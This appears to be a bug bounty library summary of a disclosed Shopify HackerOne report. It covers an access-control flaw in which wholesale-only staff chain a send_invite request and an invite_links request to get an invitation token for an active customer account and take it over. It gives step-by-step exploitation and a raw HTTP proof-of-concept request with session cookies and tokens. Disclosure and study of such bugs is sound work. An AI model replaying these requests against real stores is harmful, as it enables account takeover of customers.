# Staff who only have apps and channels permission can do a takeover account at the wholesale store (Bypass get invitation link)

Staff with only wholesale permission bypassed the invite-link lockout on already-activated customer accounts, obtaining a password-reset invitation link and taking over the account.

- Payout: $1,600
- Severity: medium
- Program: Shopify
- Found by: urfavenemy01
- Disclosed: 2021-11-21
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1266828
- Library page: https://bugbountylibrary.com/r/h1%3A1266828
- Tags: area:web domain:web impact:ato impact:privesc kind:bounty platform:hackerone sev:medium technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass

**Target:** Shopify wholesale store admin (wholesale.shopifyapps.com) account invite endpoints
**Root cause:** The send_invite endpoint lacks a state check for already-activated accounts; calling it first re-enables the invite_links endpoint, which then issues a valid invitation token for an active account.
**Steps:**
1. Log in as staff who only has permission to wholesale; confirm active customer shows Enable and UI blocks invite features
2. Send `POST /admin/shops/{shop}/accounts/{victim_id}/send_invite` with authenticity_token
3. Then send `POST /admin/shops/19596/accounts/{ID ACCOUNT} /invite_links` with X-Csrf-Token
4. Response 201 returns `{"invite_link":".../accounts/invitation/accept?invitation_token=..."}`
5. Use the link to set a new password on the victim account
**How found:** Noticed the UI intentionally disables Send invite / Get invite link for activated accounts to prevent takeover, hypothesized the backend endpoints lacked the same guard, and replayed the two requests directly via Burp to confirm the state check was only client-side.
**Exploitation:** Attacker with low-priv wholesale staff access issues two sequential POSTs against the victim account ID; the second returns a live invitation token that functions as a password-reset link, granting full control of the customer account.
**Insight:** When a UI hides an action specifically to prevent a dangerous outcome (here, account takeover), replay the underlying endpoints directly — the guard is often only in the view layer, and a preceding 'harmless' endpoint may reset state that re-enables the dangerous one.

## Proof of concept (copied exactly from the original report)

**POST send_invite to victim account**

```
POST /admin/shops/19596/accounts/{ID ACCOUNT}/send_invite HTTP/2
Host: wholesale.shopifyapps.com
Cookie: _y=89dc5b45-EA1A-44DA-7630-F0F7AA8DFC4A; _shopify_y=89dc5b45-EA1A-44DA-7630-F0F7AA8DFC4A; _ga=GA1.2.tHExgAAT11NXuhaT9YUE8g%253D%253D; _session_id=fc5f618342a1e6b09a1b0dd8f663c815; shopify_domain=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkluTmpjbWx3ZEMxemNtTXRhSFIwY0hNdGFIbGtjbUY0WVc1dmJpMTRjM010YUhRdGMyTnlhWEIwTG0xNWMyaHZjR2xtZVM1amIyMGkiLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5zaG9waWZ5X2RvbWFpbiJ9fQ%3D%3D--0638dd0f382c4106ac4bc036aef29aff573e7e4f; _gid=GA1.2.1173666896.1626524371; _s=b49fbdf4-ACD4-4EC3-2C95-5B9FC0AB0372; _shopify_s=b49fbdf4-ACD4-4EC3-2C95-5B9FC0AB0372; _gat=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://wholesale.shopifyapps.com/admin/shops/19596/accounts/5182518?hmac=adf5598e786b95e73d4c6637a457ea38a01f7fb99a14b480c7fbe9c22e53ef80&host=c2NyaXB0LXNyYy1odHRwcy1oeWRyYXhhbm9uLXhzcy1odC1zY3JpcHQubXlzaG9waWZ5LmNvbS9hZG1pbg&locale=en-US&session=6200a0935dc41a7c47776049d06e4b7f513d5b4622342e2851aeb5fc8f2f9f75&shop=script-src-https-hydraxanon-xss-ht-script.myshopify.com&timestamp=1626529478
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: https://wholesale.shopifyapps.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

authenticity_token=qHWmHVuCLbQOWT2cCElOvv%2BAQoHz4AvsMdVzW8zkjiTemE5jx2q7IdeX9nfSnVHA45fbdXVx4oo%2FYhU%2FpnnW8Q%3D%3D
```

